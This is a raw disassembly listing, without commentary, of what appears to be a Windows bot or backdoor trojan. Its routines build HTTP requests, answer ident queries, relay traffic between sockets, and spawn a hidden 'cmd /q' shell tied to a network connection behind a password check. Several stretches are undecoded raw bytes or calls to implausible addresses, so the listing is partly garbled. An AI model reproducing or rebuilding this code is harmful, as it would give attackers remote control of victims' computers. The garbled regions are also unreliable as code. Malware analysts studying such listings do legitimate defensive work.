esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2700000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB978 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx nop call near ptr 2660830h loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB954 push 6 push 1 push 2 call dword_4CBA64 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9E4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB98C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB98 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA34 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9FC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA7C call dword_4CB93C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9E4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA64 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E92C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA10 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CBA0C cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA70 push eax lea eax, [ebp-238h] push offset dword_435174 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9FC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA34 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB978 push eax lea eax, [ebp-238h] push offset dword_435130 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA7C push dword ptr [ebp-4] call dword_4CBA7C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9E4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA64 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E92C[ecx], eax call dword_4CB8F4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA10 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CBA0C test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA78 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA70 push eax lea eax, [ebp-350h] push offset unk_4351DC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E924[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 226F124h, 69C44D8Bh, 234C9h, 89C63B00h, 43E93481h, 39137400h dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 225FFEFh, 0E890EDEBh dd 226F9AFh, 51A06850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA7C push dword ptr [ebp+8] call dword_4CBA7C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA64 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9E4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA24 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA68 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB99C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB98C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA70 push eax lea eax, [ebp-344h] push offset unk_435264 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E92C[ebx] mov dword_43E924[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E930[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi nop call near ptr 2680000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E934[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h nop call near ptr 2670EEFh jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9FC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj nop call near ptr 26808B7h push eax push offset unk_435224 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E92C[eax] call dword_4CBA7C push dword ptr [ebp+8] call dword_4CBA7C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi call near ptr 26E0000h nop pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E930[esi] call dword_4CB9FC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E92C[esi] call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E930[esi] call dword_4CBA7C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0EEh ; --------------------------------------------------------------------------- sub al, 2 pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E92C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9CC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA7C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9FC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB938 test eax, eax jz short loc_4112BD call dword_4CB978 push eax push offset unk_43533C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB99C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA70 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB98 push dword ptr [esi] call dword_4CBA34 cmp dword_4CE73C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA34 push dword ptr [esi] call dword_4CBA7C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi nop call near ptr 26E0000h loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435300 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E nop call near ptr 26808B7h push eax push offset unk_4352D4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx call near ptr 26E0000h nop loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352A8 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9FC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9FC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435368 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435394 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB954h, 0C63BF633h, 68501D74h dd 435504h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 0EB5AE857h, 5790022Ch, 4116CC68h, 0F0E89000h, 850235F6h dd 0E82975C0h, 226F3FBh, 0C0685090h, 0E8004354h, 48E4h dd 15FF5959h, 4CB93Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22CEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0E415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA6415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E92C98h, 0E0458D00h dd 15FF5350h, 4CBA10h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CBA0Ch, 850FC085h, 103h, 43548468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA7815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9C415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA7015FFh, 8D50004Ch, 0FFFBEC85h, 544068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E924h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 226E9E4h dd 69B84D8Bh, 234C9h, 89C63B00h, 43E93481h, 39137400h dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 225F8AFh, 0E890EDEBh dd 226F26Fh, 54046850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB978h, 0EC858D50h, 68FFFFFBh, 4353CCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA7C15FFh, 0FF53004Ch, 4CBA7C15h, 3C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E92C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call near ptr 26808B7h nop push eax push offset unk_435564 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 nop call near ptr 26808B7h push eax push offset unk_435564 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 26906DBh nop loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2780000h sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 call near ptr 26808B7h nop push eax push offset unk_435530 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j nop call near ptr 26906DBh push 1 push dword ptr [esi+8] call near ptr 2710910h nop loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA7C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A nop call near ptr 26808B7h push eax push offset unk_435614 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 nop call near ptr 26808B7h push eax push offset unk_4355D4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_4355AC call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2710A67h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2660BA5h nop test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E928[eax], ecx nop call near ptr 2660830h jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call near ptr 26808B7h nop push eax push offset unk_435654 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA34 test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr 